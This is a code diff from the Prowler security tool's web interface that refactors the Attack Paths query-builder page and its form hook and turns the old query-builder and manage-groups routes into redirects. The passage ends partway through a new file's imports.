getDefaultValues = (query?: AttackPathQuery) => { + const defaults: Record = {}; + + query?.attributes.parameters.forEach((param) => { + defaults[param.name] = param.data_type === "boolean" ? false : ""; + }); + + return defaults; +}; + /** * Custom hook for managing query builder form state * Handles query selection, parameter validation, and form submission @@ -14,72 +46,47 @@ import type { AttackPathQuery } from "@/types/attack-paths"; export const useQueryBuilder = (availableQueries: AttackPathQuery[]) => { const [selectedQuery, setSelectedQuery] = useState(null); - // Generate dynamic Zod schema based on selected query parameters - const getValidationSchema = (queryId: string | null) => { - const schemaObject: Record = {}; - - if (queryId) { - const query = availableQueries.find((q) => q.id === queryId); - - if (query) { - query.attributes.parameters.forEach((param) => { - let fieldSchema: z.ZodTypeAny = z - .string() - .min(1, `${param.label} is required`); - - if (param.data_type === "number") { - fieldSchema = z.coerce.number().refine((val) => val >= 0, { - message: `${param.label} must be a non-negative number`, - }); - } else if (param.data_type === "boolean") { - fieldSchema = z.boolean().default(false); - } - - schemaObject[param.name] = fieldSchema; - }); - } - } - - return z.object(schemaObject); - }; - - const getDefaultValues = (queryId: string | null) => { - const defaults: Record = {}; - - const query = availableQueries.find((q) => q.id === queryId); - if (query) { - query.attributes.parameters.forEach((param) => { - defaults[param.name] = param.data_type === "boolean" ? false : ""; - }); - } - - return defaults; - }; + const getQueryById = (queryId: string | null) => + availableQueries.find((query) => query.id === queryId); + const selectedQueryData = getQueryById(selectedQuery); const form = useForm({ - resolver: zodResolver(getValidationSchema(selectedQuery)), + resolver: zodResolver(getValidationSchema(selectedQueryData)), mode: "onChange", - defaultValues: getDefaultValues(selectedQuery), + defaultValues: getDefaultValues(selectedQueryData), + shouldUnregister: true, }); // Update form when selectedQuery changes useEffect(() => { - form.reset(getDefaultValues(selectedQuery), { + form.reset(getDefaultValues(selectedQueryData), { keepDirtyValues: false, }); - }, [selectedQuery]); // eslint-disable-line react-hooks/exhaustive-deps - - const selectedQueryData = availableQueries.find( - (q) => q.id === selectedQuery, - ); + }, [form, selectedQueryData]); const handleQueryChange = (queryId: string) => { setSelectedQuery(queryId); - form.reset(); }; const getQueryParameters = () => { - return form.getValues(); + if (!selectedQueryData?.attributes.parameters.length) { + return undefined; + } + + const values = form.getValues() as Record< + string, + string | number | boolean + >; + + return selectedQueryData.attributes.parameters.reduce< + Record + >((parameters, parameter) => { + const value = values[parameter.name]; + if (value !== undefined) { + parameters[parameter.name] = value; + } + return parameters; + }, {}); }; const isFormValid = () => { diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-wizard-state.ts b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-wizard-state.ts index 787cb56617..fc1aa8bc9c 100644 --- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-wizard-state.ts +++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/_hooks/use-wizard-state.ts @@ -44,21 +44,21 @@ export const useWizardState = () => { // Derive current step from URL path const currentStep: 1 | 2 = typeof window !== "undefined" - ? window.location.pathname.includes("query-builder") + ? window.location.pathname.includes("attack-paths") ? 2 : 1 : 1; const goToSelectScan = useCallback(() => { store.setCurrentStep(1); - router.push("/attack-paths/select-scan"); + router.push("/attack-paths"); }, [router, store]); const goToQueryBuilder = useCallback( (scanId: string) => { store.setSelectedScanId(scanId); store.setCurrentStep(2); - router.push(`/attack-paths/query-builder?scanId=${scanId}`); + router.push(`/attack-paths?scanId=${scanId}`); }, [router, store], ); diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.tsx new file mode 100644 index 0000000000..286b0c0ca8 --- /dev/null +++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/attack-paths-page.tsx @@ -0,0 +1,716 @@ +"use client"; + +import { ArrowLeft, Info, Maximize2, X } from "lucide-react"; +import Link from "next/link"; +import { useSearchParams } from "next/navigation"; +import { Suspense, useEffect, useRef, useState } from "react"; +import { FormProvider } from "react-hook-form"; + +import { + executeQuery, + getAttackPathScans, + getAvailableQueries, +} from "@/actions/attack-paths"; +import { adaptQueryResultToGraphData } from "@/actions/attack-paths/query-result.adapter"; +import { AutoRefresh } from "@/components/scans"; +import { + Alert, + AlertDescription, + AlertTitle, + Button, + Card, + CardContent, +} from "@/components/shadcn"; +import { + Dialog, + DialogContent, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/shadcn/dialog"; +import { useToast } from "@/components/ui"; +import type { + AttackPathQuery, + AttackPathQueryError, + AttackPathScan, + GraphNode, +} from "@/types/attack-paths"; + +import { + AttackPathGraph, + ExecuteButton, + GraphControls, + GraphLegend, + GraphLoading, + NodeDetailContent, + QueryParametersForm, + QuerySelector, + ScanListTable, +} from "./_components"; +import type { AttackPathGraphRef } from "./_components/graph/attack-path-graph"; +import { useGraphState } from "./_hooks/use-graph-state"; +import { useQueryBuilder } from "./_hooks/use-query-builder"; +import { exportGraphAsSVG, formatNodeLabel } from "./_lib"; + +/** + * Attack Paths + * Allows users to select a scan, build a query, and visualize the attack path graph + */ +export default function AttackPathsPage() { + const searchParams = useSearchParams(); + const scanId = searchParams.get("scanId"); + const graphState = useGraphState(); + const { toast } = useToast(); + + const [scansLoading, setScansLoading] = useState(true); + const [scans, setScans] = useState([]); + const [queriesLoading, setQueriesLoading] = useState(true); + const [queriesError, setQueriesError] = useState(null); + const [isFullscreenOpen, setIsFullscreenOpen] = useState(false); + const graphRef = useRef(null); + const fullscreenGraphRef = useRef(null); + const hasResetRef = useRef(false); + const nodeDetailsRef = useRef(null); + const graphContainerRef = useRef(null); + + const [queries, setQueries] = useState([]); + + // Use custom hook for query builder form state and validation + const queryBuilder = useQueryBuilder(queries); + + // Reset graph state when component mounts + useEffect(() => { + if (!hasResetRef.current) { + hasResetRef.current = true; + graphState.resetGraph(); + } + }, [graphState]); + + // Load available scans on mount + useEffect(() => { + const loadScans = async () => { + setScansLoading(true); + try { + const scansData = await getAttackPathScans(); + if (scansData?.data) { + setScans(scansData.data); + } else { + setScans([]); + } + } catch (error) { + console.error("Failed to load scans:", error); + setScans([]); + } finally { + setScansLoading(false); + } + }; + + loadScans(); + }, []); + + // Check if there's an executing scan for auto-refresh + const hasExecutingScan = scans.some( + (scan) => + scan.attributes.state === "executing" || + scan.attributes.state === "scheduled", + ); + + // Callback to refresh scans (used by AutoRefresh component) + const refreshScans = async () => { + try { + const scansData = await getAttackPathScans(); + if (scansData?.data) { + setScans(scansData.data); + } + } catch (error) { + console.error("Failed to refresh scans:", error); + } + }; + + // Load available queries on mount + useEffect(() => { + const loadQueries = async () => { + if (!scanId) { + setQueriesError("No scan selected"); + setQueriesLoading(false); + return; + } + + setQueriesLoading(true); + try { + const queriesData = await getAvailableQueries(scanId); + if (queriesData?.data) { + setQueries(queriesData.data); + setQueriesError(null); + } else { + setQueriesError("Failed to load available queries"); + toast({ + title: "Error", + description: "Failed to load queries for this scan", + variant: "destructive", + }); + } + } catch (error) { + const errorMsg = + error instanceof Error ? error.message : "Unknown error"; + setQueriesError(errorMsg); + toast({ + title: "Error", + description: "Failed to load queries", + variant: "destructive", + }); + } finally { + setQueriesLoading(false); + } + }; + + loadQueries(); + }, [scanId, toast]); + + const handleQueryChange = (queryId: string) => { + queryBuilder.handleQueryChange(queryId); + }; + + const showErrorToast = (title: string, description: string) => { + toast({ + title, + description, + variant: "destructive", + }); + }; + + const handleExecuteQuery = async () => { + if (!scanId || !queryBuilder.selectedQuery) { + showErrorToast("Error", "Please select both a scan and a query"); + return; + } + + // Validate form before executing query + const isValid = await queryBuilder.form.trigger(); + if (!isValid) { + showErrorToast( + "Validation Error", + "Please fill in all required parameters", + ); + return; + } + + graphState.startLoading(); + graphState.setError(null); + + try { + const parameters = queryBuilder.getQueryParameters() as Record< + string, + string | number | boolean + >; + const result = await executeQuery( + scanId, + queryBuilder.selectedQuery, + parameters, + ); + + if (result && "error" in result) { + const apiError = result as AttackPathQueryError; + graphState.resetGraph(); + + if (apiError.status === 404) { + graphState.resetGraph(); + showErrorToast("No data found", "The query returned no data"); + } else if (apiError.status === 403) { + graphState.setError("Not enough permissions to execute this query"); + showErrorToast( + "Error", + "Not enough permissions to execute this query", + ); + } else if (apiError.status >= 500) { + const serverDownMessage = + "Server is temporarily unavailable. Please try again in a few minutes."; + graphState.setError(serverDownMessage); + showErrorToast("Error", serverDownMessage); + } else { + graphState.setError(apiError.error); + showErrorToast("Error", apiError.error); + } + } else if (result?.data?.attributes) { + const graphData = adaptQueryResultToGraphData(result.data.attributes); + graphState.updateGraphData(graphData); + toast({ + title: "Success", + description: "Query executed successfully", + variant: "default", + }); + + // Scroll to graph after successful query execution + setTimeout(() => { + graphContainerRef.current?.scrollIntoView({ + behavior: "smooth", + block: "start", + }); + }, 100); + } else { + graphState.resetGraph(); + graphState.setError("Failed to execute query due to an unknown error"); + showErrorToast( + "Error", + "Failed to execute query due to an unknown error", + ); + } + } catch (error) { + const rawErrorMsg = + error instanceof Error ? error.message : "Failed to execute query"; + const errorMsg = rawErrorMsg.includes("Server Components render") + ? "Server is temporarily unavailable. Please try again in a few minutes." + : rawErrorMsg; + graphState.resetGraph(); + graphState.setError(errorMsg); + showErrorToast("Error", errorMsg); + } finally { + graphState.stopLoading(); + } + }; + + const handleNodeClick = (node: GraphNode) => { + // Enter filtered view showing only paths containing this node + graphState.enterFilteredView(node.id); + + // For findings, also scroll to the details section + const isFinding = node.labels.some((label) => + label.toLowerCase().includes("finding"), + ); + + if (isFinding) { + setTimeout(() => { + nodeDetailsRef.current?.scrollIntoView({ + behavior: "smooth", + block: "nearest", + }); + }, 100); + } + }; + + const handleBackToFullView = () => { + graphState.exitFilteredView(); + }; + + const handleCloseDetails = () => { + graphState.selectNode(null); + }; + + const handleGraphExport = (svgElement: SVGSVGElement | null) => { + try { + if (svgElement) { + exportGraphAsSVG(svgElement, "attack-path-graph.svg"); + toast({ + title: "Success", + description: "Graph exported as SVG", + variant: "default", + }); + } else { + throw new Error("Could not find graph element"); + } + } catch (error) { + toast({ + title: "Error", + description: + error instanceof Error ? error.message : "Failed to export graph", + variant: "destructive", + }); + } + }; + + return ( +
+ {/* Auto-refresh scans when there's an executing scan */} + + + {/* Header */} +
+

+ Attack Paths +

+

+ Select a scan, build a query, and visualize Attack Paths in your + infrastructure. +

+

+ Scans can be selected when data is available. A new scan does not + interrupt access to existing data. +

+
+ + {scansLoading ? ( +
+

Loading scans...

+
+ ) : scans.length === 0 ? ( + + + No scans available + + + You need to run a scan before you can analyze attack paths.{" "} + + Go to Scan Jobs + + + + + ) : ( + <> + {/* Scans Table */} + Loading scans...
}> + + + + {/* Query Builder Section - shown only after selecting a scan */} + {scanId && ( +
+ {queriesLoading ? ( +

Loading queries...

+ ) : queriesError ? ( +

+ {queriesError} +

+ ) : ( + <> + + + + {queryBuilder.selectedQueryData && ( +
+
+ +

+ { + queryBuilder.selectedQueryData.attributes + .description + } +

+
+ {queryBuilder.selectedQueryData.attributes + .attribution && ( +

+ Source:{" "} + + { + queryBuilder.selectedQueryData.attributes + .attribution.text + } + +

+ )} +
+ )} + + {queryBuilder.selectedQuery && ( + + )} +
+ +
+ +
+ + {graphState.error && ( +
+ {graphState.error} +
+ )} + + )} +
+ )} + + {/* Graph Visualization (Full Width) */} + {(graphState.loading || + (graphState.data && + graphState.data.nodes && + graphState.data.nodes.length > 0)) && ( +
+ {graphState.loading ? ( + + ) : graphState.data && + graphState.data.nodes && + graphState.data.nodes.length > 0 ? ( + <> + {/* Info message and controls */} +
+ {graphState.isFilteredView ? ( +
+ +
+ + + Showing paths for:{" "} + + {graphState.filteredNode?.properties?.name || + graphState.filteredNode?.properties?.id || + "Selected node"} + + +
+
+ ) : ( +
+ + + Click on any node to filter and view its connected + paths + +
+ )} + + {/* Graph controls and fullscreen button together */} +
+ graphRef.current?.zoomIn()} + onZoomOut={() => graphRef.current?.zoomOut()} + onFitToScreen={() => graphRef.current?.resetZoom()} + onExport={() => + handleGraphExport( + graphRef.current?.getSVGElement() || null, + ) + } + /> + + {/* Fullscreen button */} +
+ + + + + + + Fullscreen graph view + +
+ + fullscreenGraphRef.current?.zoomIn() + } + onZoomOut={() => + fullscreenGraphRef.current?.zoomOut() + } + onFitToScreen={() => + fullscreenGraphRef.current?.resetZoom() + } + onExport={() => + handleGraphExport( + fullscreenGraphRef.current?.getSVGElement() || + null, + ) + } + /> +
+
+
+ +
+ {/* Node Detail Panel - Side by side */} + {graphState.selectedNode && ( +
+ + +
+

+ Node Details +

+ +
+

+ {graphState.selectedNode?.labels.some( + (label) => + label + .toLowerCase() + .includes("finding"), + ) + ? graphState.selectedNode?.properties + ?.check_title || + graphState.selectedNode?.properties + ?.id || + "Unknown Finding" + : graphState.selectedNode?.properties + ?.name || + graphState.selectedNode?.properties + ?.id || + "Unknown Resource"} +

+
+
+

+ Type +

+

+ {graphState.selectedNode?.labels + .map(formatNodeLabel) + .join(", ")} +

+
+
+
+
+
+ )} +
+
+
+
+
+
+ + {/* Graph in the middle */} +
+ +
+ + {/* Legend below */} +
+ +
+ + ) : null} +
+ )} + + {/* Node Detail Panel - Below Graph */} + {graphState.selectedNode && graphState.data && ( +
+
+
+

Node Details

+

+ {String( + graphState.selectedNode.labels.some((label) => + label.toLowerCase().includes("finding"), + ) + ? graphState.selectedNode.properties?.check_title || + graphState.selectedNode.properties?.id || + "Unknown Finding" + : graphState.selectedNode.properties?.name || + graphState.selectedNode.properties?.id || + "Unknown Resource", + )} +

+
+
+ {graphState.selectedNode.labels.some((label) => + label.toLowerCase().includes("finding"), + ) && ( + + )} + +
+
+ + +
+ )} + + )} + + ); +} diff --git a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/page.tsx b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/page.tsx index 22f931d6d6..5788a3f427 100644 --- a/ui/app/(prowler)/attack-paths/(workflow)/query-builder/page.tsx +++ b/ui/app/(prowler)/attack-paths/(workflow)/query-builder/page.tsx @@ -1,712 +1,31 @@ -"use client"; +import { redirect } from "next/navigation"; -import { ArrowLeft, Info, Maximize2, X } from "lucide-react"; -import Link from "next/link"; -import { useSearchParams } from "next/navigation"; -import { Suspense, useCallback, useEffect, useRef, useState } from "react"; -import { FormProvider } from "react-hook-form"; +import { SearchParamsProps } from "@/types"; -import { - executeQuery, - getAttackPathScans, - getAvailableQueries, -} from "@/actions/attack-paths"; -import { adaptQueryResultToGraphData } from "@/actions/attack-paths/query-result.adapter"; -import { AutoRefresh } from "@/components/scans"; -import { - Alert, - AlertDescription, - AlertTitle, - Button, - Card, - CardContent, -} from "@/components/shadcn"; -import { - Dialog, - DialogContent, - DialogHeader, - DialogTitle, - DialogTrigger, - useToast, -} from "@/components/ui"; -import type { - AttackPathQuery, - AttackPathQueryError, - AttackPathScan, - GraphNode, -} from "@/types/attack-paths"; +const buildQueryString = (searchParams: SearchParamsProps) => { + const params = new URLSearchParams(); -import { - AttackPathGraph, - ExecuteButton, - GraphControls, - GraphLegend, - GraphLoading, - NodeDetailContent, - QueryParametersForm, - QuerySelector, - ScanListTable, -} from "./_components"; -import type { AttackPathGraphRef } from "./_components/graph/attack-path-graph"; -import { useGraphState } from "./_hooks/use-graph-state"; -import { useQueryBuilder } from "./_hooks/use-query-builder"; -import { exportGraphAsSVG, formatNodeLabel } from "./_lib"; - -/** - * Attack Paths Analysis - * Allows users to select a scan, build a query, and visualize the Attack Paths graph - */ -export default function AttackPathAnalysisPage() { - const searchParams = useSearchParams(); - const scanId = searchParams.get("scanId"); - const graphState = useGraphState(); - const { toast } = useToast(); - - const [scansLoading, setScansLoading] = useState(true); - const [scans, setScans] = useState([]); - const [queriesLoading, setQueriesLoading] = useState(true); - const [queriesError, setQueriesError] = useState(null); - const [isFullscreenOpen, setIsFullscreenOpen] = useState(false); - const graphRef = useRef(null); - const fullscreenGraphRef = useRef(null); - const hasResetRef = useRef(false); - const nodeDetailsRef = useRef(null); - const graphContainerRef = useRef(null); - - const [queries, setQueries] = useState([]); - - // Use custom hook for query builder form state and validation - const queryBuilder = useQueryBuilder(queries); - - // Reset graph state when component mounts - useEffect(() => { - if (!hasResetRef.current) { - hasResetRef.current = true; - graphState.resetGraph(); - } - }, [graphState]); - - // Load available scans on mount - useEffect(() => { - const loadScans = async () => { - setScansLoading(true); - try { - const scansData = await getAttackPathScans(); - if (scansData?.data) { - setScans(scansData.data); - } else { - setScans([]); - } - } catch (error) { - console.error("Failed to load scans:", error); - setScans([]); - } finally { - setScansLoading(false); - } - }; - - loadScans(); - }, []); - - // Check if there's an executing scan for auto-refresh - const hasExecutingScan = scans.some( - (scan) => - scan.attributes.state === "executing" || - scan.attributes.state === "scheduled", - ); - - // Callback to refresh scans (used by AutoRefresh component) - const refreshScans = useCallback(async () => { - try { - const scansData = await getAttackPathScans(); - if (scansData?.data) { - setScans(scansData.data); - } - } catch (error) { - console.error("Failed to refresh scans:", error); - } - }, []); - - // Load available queries on mount - useEffect(() => { - const loadQueries = async () => { - if (!scanId) { - setQueriesError("No scan selected"); - setQueriesLoading(false); - return; - } - - setQueriesLoading(true); - try { - const queriesData = await getAvailableQueries(scanId); - if (queriesData?.data) { - setQueries(queriesData.data); - setQueriesError(null); - } else { - setQueriesError("Failed to load available queries"); - toast({ - title: "Error", - description: "Failed to load queries for this scan", - variant: "destructive", - }); - } - } catch (error) { - const errorMsg = - error instanceof Error ? error.message : "Unknown error"; - setQueriesError(errorMsg); - toast({ - title: "Error", - description: "Failed to load queries", - variant: "destructive", - }); - } finally { - setQueriesLoading(false); - } - }; - - loadQueries(); - }, [scanId, toast]); - - const handleQueryChange = (queryId: string) => { - queryBuilder.handleQueryChange(queryId); - }; - - const showErrorToast = (title: string, description: string) => { - toast({ - title, - description, - variant: "destructive", - }); - }; - - const handleExecuteQuery = async () => { - if (!scanId || !queryBuilder.selectedQuery) { - showErrorToast("Error", "Please select both a scan and a query"); - return; + for (const [key, value] of Object.entries(searchParams)) { + if (Array.isArray(value)) { + value.forEach((item) => params.append(key, item)); + continue; } - // Validate form before executing query - const isValid = await queryBuilder.form.trigger(); - if (!isValid) { - showErrorToast( - "Validation Error", - "Please fill in all required parameters", - ); - return; + if (typeof value === "string") { + params.set(key, value); } + } - graphState.startLoading(); - graphState.setError(null); + return params.toString(); +}; - try { - const parameters = queryBuilder.getQueryParameters() as Record< - string, - string | number | boolean - >; - const result = await executeQuery( - scanId, - queryBuilder.selectedQuery, - parameters, - ); +export default async function AttackPathsQueryBuilderRedirectPage({ + searchParams, +}: { + searchParams: Promise; +}) { + const resolvedSearchParams = await searchParams; + const queryString = buildQueryString(resolvedSearchParams); - if (result && "error" in result) { - const apiError = result as AttackPathQueryError; - graphState.resetGraph(); - - if (apiError.status === 404) { - graphState.setError("No data found"); - showErrorToast("No data found", "The query returned no data"); - } else if (apiError.status === 403) { - graphState.setError("Not enough permissions to execute this query"); - showErrorToast( - "Error", - "Not enough permissions to execute this query", - ); - } else if (apiError.status >= 500) { - const serverDownMessage = - "Server is temporarily unavailable. Please try again in a few minutes."; - graphState.setError(serverDownMessage); - showErrorToast("Error", serverDownMessage); - } else { - graphState.setError(apiError.error); - showErrorToast("Error", apiError.error); - } - } else if (result?.data?.attributes) { - const graphData = adaptQueryResultToGraphData(result.data.attributes); - graphState.updateGraphData(graphData); - toast({ - title: "Success", - description: "Query executed successfully", - variant: "default", - }); - - // Scroll to graph after successful query execution - setTimeout(() => { - graphContainerRef.current?.scrollIntoView({ - behavior: "smooth", - block: "start", - }); - }, 100); - } else { - graphState.resetGraph(); - graphState.setError("Failed to execute query due to an unknown error"); - showErrorToast( - "Error", - "Failed to execute query due to an unknown error", - ); - } - } catch (error) { - const rawErrorMsg = - error instanceof Error ? error.message : "Failed to execute query"; - const errorMsg = rawErrorMsg.includes("Server Components render") - ? "Server is temporarily unavailable. Please try again in a few minutes." - : rawErrorMsg; - graphState.resetGraph(); - graphState.setError(errorMsg); - showErrorToast("Error", errorMsg); - } finally { - graphState.stopLoading(); - } - }; - - const handleNodeClick = (node: GraphNode) => { - // Enter filtered view showing only paths containing this node - graphState.enterFilteredView(node.id); - - // For findings, also scroll to the details section - const isFinding = node.labels.some((label) => - label.toLowerCase().includes("finding"), - ); - - if (isFinding) { - setTimeout(() => { - nodeDetailsRef.current?.scrollIntoView({ - behavior: "smooth", - block: "nearest", - }); - }, 100); - } - }; - - const handleBackToFullView = () => { - graphState.exitFilteredView(); - }; - - const handleCloseDetails = () => { - graphState.selectNode(null); - }; - - const handleGraphExport = (svgElement: SVGSVGElement | null) => { - try { - if (svgElement) { - exportGraphAsSVG(svgElement, "attack-path-graph.svg"); - toast({ - title: "Success", - description: "Graph exported as SVG", - variant: "default", - }); - } else { - throw new Error("Could not find graph element"); - } - } catch (error) { - toast({ - title: "Error", - description: - error instanceof Error ? error.message : "Failed to export graph", - variant: "destructive", - }); - } - }; - - return ( -
- {/* Auto-refresh scans when there's an executing scan */} - - - {/* Header */} -
-

- Attack Paths Analysis -

-

- Select a scan, build a query, and visualize Attack Paths in your - infrastructure. -

-

- Scans can be selected when data is available. A new scan does not - interrupt access to existing data. -

-
- - {scansLoading ? ( -
-

Loading scans...

-
- ) : scans.length === 0 ? ( - - - No scans available - - - You need to run a scan before you can analyze attack paths.{" "} - - Go to Scan Jobs - - - - - ) : ( - <> - {/* Scans Table */} - Loading scans...
}> - - - - {/* Query Builder Section - shown only after selecting a scan */} - {scanId && ( -
- {queriesLoading ? ( -

Loading queries...

- ) : queriesError ? ( -

- {queriesError} -

- ) : ( - <> - - - - {queryBuilder.selectedQueryData && ( -
-

- { - queryBuilder.selectedQueryData.attributes - .description - } -

- {queryBuilder.selectedQueryData.attributes - .attribution && ( -

- Source:{" "} - - { - queryBuilder.selectedQueryData.attributes - .attribution.text - } - -

- )} -
- )} - - {queryBuilder.selectedQuery && ( - - )} -
- -
- -
- - {graphState.error && ( -
- {graphState.error} -
- )} - - )} -
- )} - - {/* Graph Visualization (Full Width) */} - {(graphState.loading || - (graphState.data && - graphState.data.nodes && - graphState.data.nodes.length > 0)) && ( -
- {graphState.loading ? ( - - ) : graphState.data && - graphState.data.nodes && - graphState.data.nodes.length > 0 ? ( - <> - {/* Info message and controls */} -
- {graphState.isFilteredView ? ( -
- -
- - - Showing paths for:{" "} - - {graphState.filteredNode?.properties?.name || - graphState.filteredNode?.properties?.id || - "Selected node"} - - -
-
- ) : ( -
- - - Click on any node to filter and view its connected - paths - -
- )} - - {/* Graph controls and fullscreen button together */} -
- graphRef.current?.zoomIn()} - onZoomOut={() => graphRef.current?.zoomOut()} - onFitToScreen={() => graphRef.current?.resetZoom()} - onExport={() => - handleGraphExport( - graphRef.current?.getSVGElement() || null, - ) - } - /> - - {/* Fullscreen button */} -
- - - - - - - - Graph Fullscreen View - - -
- - fullscreenGraphRef.current?.zoomIn() - } - onZoomOut={() => - fullscreenGraphRef.current?.zoomOut() - } - onFitToScreen={() => - fullscreenGraphRef.current?.resetZoom() - } - onExport={() => - handleGraphExport( - fullscreenGraphRef.current?.getSVGElement() || - null, - ) - } - /> -
-
-
- -
- {/* Node Detail Panel - Side by side */} - {graphState.selectedNode && ( -
- - -
-

- Node Details -

- -
-

- {graphState.selectedNode?.labels.some( - (label) => - label - .toLowerCase() - .includes("finding"), - ) - ? graphState.selectedNode?.properties - ?.check_title || - graphState.selectedNode?.properties - ?.id || - "Unknown Finding" - : graphState.selectedNode?.properties - ?.name || - graphState.selectedNode?.properties - ?.id || - "Unknown Resource"} -

-
-
-

- Type -

-

- {graphState.selectedNode?.labels - .map(formatNodeLabel) - .join(", ")} -

-
-
-
-
-
- )} -
-
-
-
-
-
- - {/* Graph in the middle */} -
- -
- - {/* Legend below */} -
- -
- - ) : null} -
- )} - - {/* Node Detail Panel - Below Graph */} - {graphState.selectedNode && graphState.data && ( -
-
-
-

Node Details

-

- {String( - graphState.selectedNode.labels.some((label) => - label.toLowerCase().includes("finding"), - ) - ? graphState.selectedNode.properties?.check_title || - graphState.selectedNode.properties?.id || - "Unknown Finding" - : graphState.selectedNode.properties?.name || - graphState.selectedNode.properties?.id || - "Unknown Resource", - )} -

-
-
- {graphState.selectedNode.labels.some((label) => - label.toLowerCase().includes("finding"), - ) && ( - - )} - -
-
- - -
- )} - - )} - - ); + redirect(queryString ? `/attack-paths?${queryString}` : "/attack-paths"); } diff --git a/ui/app/(prowler)/attack-paths/layout.tsx b/ui/app/(prowler)/attack-paths/layout.tsx new file mode 100644 index 0000000000..5ff93faab2 --- /dev/null +++ b/ui/app/(prowler)/attack-paths/layout.tsx @@ -0,0 +1,13 @@ +import { ContentLayout } from "@/components/ui"; + +export default function AttackPathsLayout({ + children, +}: { + children: React.ReactNode; +}) { + return ( + + {children} + + ); +} diff --git a/ui/app/(prowler)/attack-paths/page.tsx b/ui/app/(prowler)/attack-paths/page.tsx index 3fe92b08f8..03058704b1 100644 --- a/ui/app/(prowler)/attack-paths/page.tsx +++ b/ui/app/(prowler)/attack-paths/page.tsx @@ -1,9 +1 @@ -import { redirect } from "next/navigation"; - -/** - * Landing page for Attack Paths feature - * Redirects to the integrated attack path analysis view - */ -export default function AttackPathsPage() { - redirect("/attack-paths/query-builder"); -} +export { default } from "./(workflow)/query-builder/attack-paths-page"; diff --git a/ui/app/(prowler)/manage-groups/page.tsx b/ui/app/(prowler)/manage-groups/page.tsx index dc035c014e..8eb286f77a 100644 --- a/ui/app/(prowler)/manage-groups/page.tsx +++ b/ui/app/(prowler)/manage-groups/page.tsx @@ -1,20 +1,6 @@ -import { Divider } from "@heroui/divider"; -import { Spacer } from "@heroui/spacer"; import { redirect } from "next/navigation"; -import React, { Suspense } from "react"; -import { - getProviderGroupInfoById, - getProviderGroups, -} from "@/actions/manage-groups/manage-groups"; -import { getProviders } from "@/actions/providers"; -import { getRoles } from "@/actions/roles"; -import { FilterControls } from "@/components/filters/filter-controls"; -import { AddGroupForm, EditGroupForm } from "@/components/manage-groups/forms"; -import { SkeletonManageGroups } from "@/components/manage-groups/skeleton-manage-groups"; -import { ColumnGroups } from "@/components/manage-groups/table"; -import { DataTable } from "@/components/ui/table"; -import { ProviderProps, Role, SearchParamsProps } from "@/types"; +import { SearchParamsProps } from "@/types"; export default async function ManageGroupsPage({ searchParams, @@ -22,176 +8,11 @@ export default async function ManageGroupsPage({ searchParams: Promise; }) { const resolvedSearchParams = await searchParams; - const searchParamsKey = JSON.stringify(resolvedSearchParams); - const providerGroupId = resolvedSearchParams.groupId; + const groupId = resolvedSearchParams.groupId; - return ( -
-
- }> - {providerGroupId ? ( - - ) : ( -
-

- Create a new provider group -

-

- Create a new provider group to manage the providers and roles. -

- -
- )} -
-
+ const target = groupId + ? `/providers?tab=account-groups&groupId=${groupId}` + : "/providers?tab=account-groups"; - - -
- - -

Provider Groups

- }> - - -
-
- ); + redirect(target); } - -const SSRAddGroupForm = async () => { - const providersResponse = await getProviders({ pageSize: 50 }); - const rolesResponse = await getRoles({}); - - const providersData = - providersResponse?.data?.map((provider: ProviderProps) => ({ - id: provider.id, - name: provider.attributes.alias || provider.attributes.uid, - })) || []; - - const rolesData = - rolesResponse?.data?.map((role: Role) => ({ - id: role.id, - name: role.attributes.name, - })) || []; - - return ; -}; - -const SSRDataEditGroup = async ({ - searchParams, -}: { - searchParams: SearchParamsProps; -}) => { - const providerGroupId = searchParams.groupId; - - // Redirect if no group ID is provided or if the parameter is invalid - if (!providerGroupId || Array.isArray(providerGroupId)) { - redirect("/manage-groups"); - } - - // Fetch the provider group details - const providerGroupData = await getProviderGroupInfoById(providerGroupId); - - if (!providerGroupData || providerGroupData.error) { - return
Provider group not found
; - } - - const providersResponse = await getProviders({ pageSize: 50 }); - const rolesResponse = await getRoles({}); - - const providersList = - providersResponse?.data?.map((provider: ProviderProps) => ({ - id: provider.id, - name: provider.attributes.alias || provider.attributes.uid, - })) || []; - - const rolesList = - rolesResponse?.data?.map((role: Role) => ({ - id: role.id, - name: role.attributes.name, - })) || []; - - const { attributes, relationships } = providerGroupData.data; - - const associatedProviders = relationships.providers?.data.map( - (provider: ProviderProps) => { - const matchingProvider = providersList.find( - (p: { id: string; name: string }) => p.id === provider.id, - ); - return { - id: provider.id, - name: matchingProvider?.name || "Unavailable for your role", - }; - }, - ); - - const associatedRoles = relationships.roles?.data.map((role: Role) => { - const matchingRole = rolesList.find((r: Role) => r.id === role.id); - return { - id: role.id, - name: matchingRole?.name || "Unavailable for your role", - }; - }); - - const formData = { - name: attributes.name, - providers: associatedProviders, - roles: associatedRoles, - }; - - return ( -
-

- Edit provider group -

-

- Edit the provider group to manage the providers and roles. -

- -
- ); -}; - -const SSRDataTable = async ({ - searchParams, -}: { - searchParams: SearchParamsProps; -}) => { - const page = parseInt(searchParams.page?.toString() || "1", 10); - const sort = searchParams.sort?.toString(); - const pageSize = parseInt(searchParams.pageSize?.toString() || "10", 10); - - // Convert filters to the correct type - const filters: Record = {}; - Object.entries(searchParams) - .filter(([key]) => key.startsWith("filter[")) - .forEach(([key, value]) => { - filters[key] = value?.toString() || ""; - }); - - const query = (filters["filter[search]"] as string) || ""; - const providerGroupsData = await getProviderGroups({ - query, - page, - sort, - filters, - pageSize, - }); - - return ( - <> - - - ); -}; diff --git a/ui/app/(prowler)/providers/account-groups-content.tsx b/ui/app/(prowler)/providers/account-groups-content.tsx new file mode 100644 index 0000000000..f171f521f9 --- /dev/null +++ b/ui/app/(prowler)/providers/account-groups-content.tsx @@ -0,0 +1,162 @@ +import { + getProviderGroupInfoById, + getProviderGroups, +} from "@/actions/manage-groups/manage-groups"; +import { getProviders } from "@/actions/providers"; +import { getRoles } from "@/actions/roles"; +import { AddGroupForm, EditGroupForm } from 